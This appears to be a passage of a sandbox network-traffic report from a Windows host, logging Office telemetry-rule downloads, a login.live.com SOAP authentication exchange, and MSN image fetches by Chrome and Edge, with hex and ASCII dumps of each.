2024-11-20 20:05:56 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:56 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: bfe6dbcf-201e-006e-678c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200556Z-r1d97b99577ckpmjhC1TEBrzs000000009b000000000fkt2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:56 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.7	49881	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:56 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:56 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:56 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: de17e165-601e-0002-3161-3ba786000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200556Z-178bfbc474bmqmgjhC1NYCy16c00000000d0000000005ppf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:56 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.7	49882	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:56 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:56 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:56 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 925146da-101e-0034-3f87-3b96ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200556Z-1777c6cb754mqztshC1TEB4mkc0000000a700000000006d2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-20 20:05:56 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.7	49884	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:56 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:56 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:56 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 5c5a59ff-301e-003f-5b8c-3a266f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200556Z-r1d97b99577jlrkbhC1TEBq8d0000000094g00000000myzs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:56 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.7	49883	40.126.53.18	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:56 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-20 20:05:56 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-20 20:05:57 UTC	653	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 20 Nov 2024 20:04:56 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" FdrTelemetry: &481=21&59=33&213=10&215=0&315=1&215=0&315=1&214=56&288=16.0.30405.9 Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C557_BAY x-ms-request-id: 7c5d3d20-2e5d-4a52-b0d5-9b63aa60b56e PPServer: PPV: 30 H: PH1PEPF00011FFD V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 20 Nov 2024 20:05:56 GMT Connection: close Content-Length: 11389
2024-11-20 20:05:57 UTC	11389	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.7	49887	104.117.182.27	443	2044	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:56 UTC	634	OUT	GET /tenant/amp/entityid/BB1msyO4.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 20:05:56 UTC	519	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msyO4 Last-Modified: Sun, 17 Nov 2024 18:32:54 GMT X-Source-Length: 79668 X-Datacenter: westus X-ActivityId: 0a66f746-8b2f-4450-a7cf-b2fcc1269276 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 79668 Cache-Control: public, max-age=167172 Expires: Fri, 22 Nov 2024 18:32:08 GMT Date: Wed, 20 Nov 2024 20:05:56 GMT Connection: close
2024-11-20 20:05:56 UTC	15865	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-20 20:05:56 UTC	16384	IN	Data Raw: 79 75 9f 13 51 d2 12 eb 7e 23 c4 a5 d2 c6 3c ca 88 5d b5 64 eb 4e de b3 e3 23 67 48 4a 39 f1 8c f9 d6 b0 67 1f c5 c4 a8 d7 a6 94 ed eb 3e 23 c1 2f 48 76 f1 5b a4 50 c9 48 56 76 f5 6a f7 26 9c dd 48 47 30 a8 d2 87 29 a1 69 05 f2 92 50 f8 2a 9a 46 94 85 32 b0 12 09 0b 13 25 de a4 db 95 94 94 2c 4d 0b 3a d4 8b 25 34 84 94 f2 50 16 a0 8a 99 09 32 10 93 b5 24 ac 42 28 36 25 6f 34 a5 2e 43 85 b1 b0 ad d3 36 6a c7 6a 69 49 bd 6d 28 27 94 e0 4e 09 06 a4 60 05 8b 2d 43 43 53 c0 d8 96 ae c5 95 4a c3 4b 40 37 d0 b4 90 86 41 b1 04 92 16 a2 19 b1 9c ed a5 25 68 41 a5 21 25 6e 99 b1 eb 25 2e 94 15 89 a1 63 4e d0 ac ea 42 5b 1a d3 48 5a 2c 56 12 6b 4f 20 58 b2 8c 03 46 df 3a 96 f7 6c 59 58 25 ac 82 63 57 e1 4b dd f8 56 13 b1 29 29 4b 2d b1 6d 16 24 34 a1 94 d0 1a 5b 67 Data Ascii: yuQ~#<]dN#gHJ9g>#/Hv[PHVvj&HG0)iP*F2%,M:%4P2$B(6%o4.C6jjiIm('N`-CCSJK@7A%hA!%n%.cNB[HZ,VkO XF:lYX%cWKV))K-m$4[g
2024-11-20 20:05:57 UTC	2627	IN	Data Raw: 50 95 dd 14 60 4e f1 e1 2a 56 96 ee f9 e3 ec 57 4e 4d ce e7 3e a1 67 56 6d 6c 73 4f 4d 06 e7 0d d3 e8 82 72 c0 18 f0 0b ae 73 dd 48 35 75 c0 f0 43 d2 30 de 06 ef d4 2d c6 59 71 14 e4 55 da 7c ee 5a 68 f1 5d 2f dd 9c 08 d9 47 b5 02 a3 7e 21 bd 6e c5 39 d3 c3 5f b5 6c ec 3c 54 ad 14 d9 7f 9a 52 e8 de da 63 95 1e ab 57 01 0c bf 61 de 88 d7 7c 44 9f 3e 0a 96 ba b5 20 1e 29 83 a9 c7 9f a4 ad 6c 03 56 1f 03 b8 a1 55 6b bd c8 de 68 e4 88 f2 08 12 09 dc 7c 56 80 d8 a5 8e 3c 07 6a cf 93 48 c7 2c e0 87 55 ed bc 15 d1 ae 00 ff 00 4c 0d e0 f2 13 ea 91 f9 94 7c 91 a8 02 8d 52 a8 26 e7 1b 8d 3e 78 29 8d cc ad 73 4c 59 e3 17 a1 0c b6 b8 7c 8e 3a e6 f4 70 c2 df 94 3f 55 31 ce 61 66 68 8b 24 0a 19 bc d1 da 81 59 d6 36 75 a2 10 e8 98 1b 69 02 ea 71 94 30 1f 64 7e 6e 77 42 Data Ascii: P`N*VWNM>gVmlsOMrsH5uC0-YqU\|Zh]/G~!n9_l<TRcWa\|D> )lVUkh\|V<jH,UL\|R&>x)sLY\|:p?U1afh$Y6uiq0d~nwB
2024-11-20 20:05:57 UTC	16384	IN	Data Raw: 14 b6 9d 78 6b 0a 6d 79 be 63 92 66 e8 ef 8a b8 4c 8b ac ef 2d c4 cc 75 2e 68 7b c5 0d cc 78 fe 93 54 f0 a0 23 1c f7 c0 0f ef 80 7d f0 d5 3e 40 fd a3 8d 04 52 40 31 b9 b0 a2 37 28 83 de aa f3 6c 56 06 9c 40 a6 61 6f 54 4f 9c 7e 64 07 f5 19 4e 20 1c b0 e6 ec 24 1d cd 74 84 d9 b9 99 6c 0d f9 c5 92 c0 d0 63 02 4c d1 16 42 98 fe a5 9d e8 64 1a b1 2c 01 86 00 b6 28 d4 b8 af ea 72 9d 27 46 f7 dd f3 38 91 69 b8 36 e4 47 da fd 33 15 bf cd 99 f8 17 33 aa 60 8e eb 5b 4d 15 5a 26 22 9e 3b d0 87 5a 44 d5 91 38 4d 1c 36 eb 44 3d 4e 5d 1d cc 99 9f 83 b6 9a 14 79 cb cc 35 b3 0b 05 81 ad c7 58 85 da 31 8a db 8c fd ec 1b a6 ea 1c 33 66 1a 6f bc 4c 0c 62 90 87 d4 f5 0d ce 75 6a 66 6e 34 d1 ea b1 b9 8e 65 0d a9 9a dc 2b 30 4f 1b f9 a4 74 be 90 c0 0c cd 32 e9 fe d8 bd 74 a8 Data Ascii: xkmycfL-u.h{xT#}>@R@17(lV@aoTO~dN $tlcLBd,(r'F8i6G33`[MZ&";ZD8M6D=N]y5X13foLbujfn4e+0Ot2t
2024-11-20 20:05:57 UTC	16384	IN	Data Raw: a7 bc d1 ac 5d e7 1a 10 b4 2e 00 c3 f8 b1 d0 38 02 16 b5 c4 b3 52 88 1c 2c 8d 47 b1 14 44 52 79 7e 88 9a 27 b7 16 39 06 a3 c5 ed e1 1d 8d 94 5c 06 9c 96 3b fc 3f e1 f4 41 3d 18 37 56 fc ae 07 d6 94 52 48 9e e8 ed e4 52 1c c2 3d de 7f f7 26 27 28 e2 b6 22 9e 85 c3 17 7e 66 38 73 12 a3 1e 95 e2 89 61 fc d1 fc 50 ba 63 3b 61 f3 bd 37 dc 3f f1 79 dc 71 5b d7 9b 35 0e 31 e9 b3 7e 02 75 41 f4 25 04 e5 bc 5e c7 8f ca 57 a0 39 d6 b0 1d cd ff 00 2a ba 66 fc 3c fc 16 b5 cf 41 a5 e6 8c 62 0f 02 b2 5a bd 4e 95 94 51 98 27 f1 4f aa 59 cb 3f e2 6f 63 4f 68 5a e6 7f 6c 8d 3b de 5a 5a 71 56 85 e9 48 64 7c cc de c8 f4 94 ba 31 66 51 e2 b5 cc 8e 8a 9e 6e 05 ab 63 6f 35 e8 6a 37 e0 67 2f 15 87 2d a2 fc ae 5f f6 ab 99 b9 53 81 4e 05 5e f5 ab b7 19 58 e5 8e 5e 0b 2a 64 7f 84 Data Ascii: ].8R,GDRy~'9\;?A=7VRHR=&'("~f8saPc;a7?yq[51~uA%^W9f<AbZNQ'OY?ocOhZl;ZZqVHd\|1fQnco5j7g/-_SN^X^d
2024-11-20 20:05:57 UTC	7952	IN	Data Raw: a5 6e 3d da 6c 91 c2 25 09 d9 79 6c 18 9d 43 9d 25 75 d5 0c 53 9f e7 6a 28 11 7d 1b c7 9e 49 8e c2 07 af 34 13 58 fc 5a f6 2d 04 9d 28 17 47 22 84 73 6f c5 47 f3 b5 2d 33 44 aa a0 a4 9c db 28 5a 1d b4 fa 28 db d5 de 9a 80 9a 73 8d d4 6e 58 33 0e 34 eb 50 62 94 56 b6 2f 46 98 36 9e d7 33 e1 c5 74 c6 60 69 a0 9d 53 0b 8b a4 8c 28 d8 88 0e 33 05 72 9c 6d a8 97 65 99 ee 9a 44 72 5d 5d 39 7b 43 5c 43 c7 c2 f1 58 7f 70 25 79 73 9a e8 31 07 6e 29 83 dc 44 49 1b 3c d2 b8 cf 6e f7 37 19 fc 5e 85 dd 3f 49 99 35 b2 03 4c fc d9 75 f2 e8 d4 6b 33 fb 57 3d ff 00 49 cb 7f fa 3d 40 07 e1 cd 6c 53 60 70 bf f9 42 86 c7 3d 86 6b 11 aa 79 62 ba 0d ea 60 0f 94 d2 2f bf c9 c6 8b 96 6b b9 8f 96 53 f7 fd ed 7d 99 f3 87 37 33 e9 3d 6e 5d 23 24 e6 0f 8b 2c 87 8e 44 9e 4b 96 ec b7 Data Ascii: n=l%ylC%uSj(}I4XZ-(G"soG-3D(Z(snX34PbV/F63t`iS(3rmeDr]]9{C\CXp%ys1n)DI<n7^?I5Luk3W=I=@lS`pB=kyb`/kS}73=n]#$,DK
2024-11-20 20:05:57 UTC	4072	IN	Data Raw: 34 6d da 6e 2a d6 18 51 a9 73 e6 49 a8 44 39 14 91 33 18 e1 72 23 72 da 36 eb 46 24 61 4c 72 56 48 f3 75 17 a2 72 ca 55 36 a0 3e ed 3a a1 16 a9 d8 29 40 05 d0 7d 52 56 71 9a 0f 05 8f 89 4b 0d 16 89 34 cc ca de ec 52 54 5b 4d 29 60 03 86 f4 51 48 ae 22 eb f1 2b 0e 65 88 40 98 a3 b2 85 90 e2 6e 27 f4 40 35 78 58 73 06 db d2 c4 1a 6e 4a e7 65 87 50 68 8c 29 bd 28 50 eb d6 97 0b 7c 14 71 9e c1 24 49 e1 b7 c1 69 cc 63 e2 c9 be 91 49 b7 c1 55 3d 25 0a 4b a4 52 ab a8 76 06 0f 1d aa 13 b3 18 6d 10 78 a5 6c 18 20 cf ea b7 a5 26 57 68 f3 c5 08 e6 34 63 ea 80 e6 c9 38 1c 7c 84 1d 11 a2 d9 a3 7a d4 63 1d 42 60 cc 20 5e 0f 6a cd 25 33 7a 86 72 a0 df 22 8b a7 8a 23 40 68 3c b8 ad 54 14 80 e8 a5 69 22 8f 14 b7 85 bd e7 51 1e d5 94 e7 2c 5a aa f6 b9 ac ab 04 a5 44 52 6d Data Ascii: 4mn*QsID93r#r6F$aLrVHurU6>:)@}RVqK4RT[M)`QH"+e@n'@5xXsnJePh)(P\|q$IicIU=%KRvmxl &Wh4c8\|zcB` ^j%3zr"#@h<Ti"Q,ZDRm

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.7	49888	104.117.182.27	443	4888	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:56 UTC	634	OUT	GET /tenant/amp/entityid/BB1msDML.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 20:05:56 UTC	519	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msDML Last-Modified: Sun, 17 Nov 2024 00:54:30 GMT X-Source-Length: 86931 X-Datacenter: eastap X-ActivityId: 9823d744-1753-43fb-8aac-d76b0a0a8d0e Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 86931 Cache-Control: public, max-age=103783 Expires: Fri, 22 Nov 2024 00:55:39 GMT Date: Wed, 20 Nov 2024 20:05:56 GMT Connection: close
2024-11-20 20:05:56 UTC	15865	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
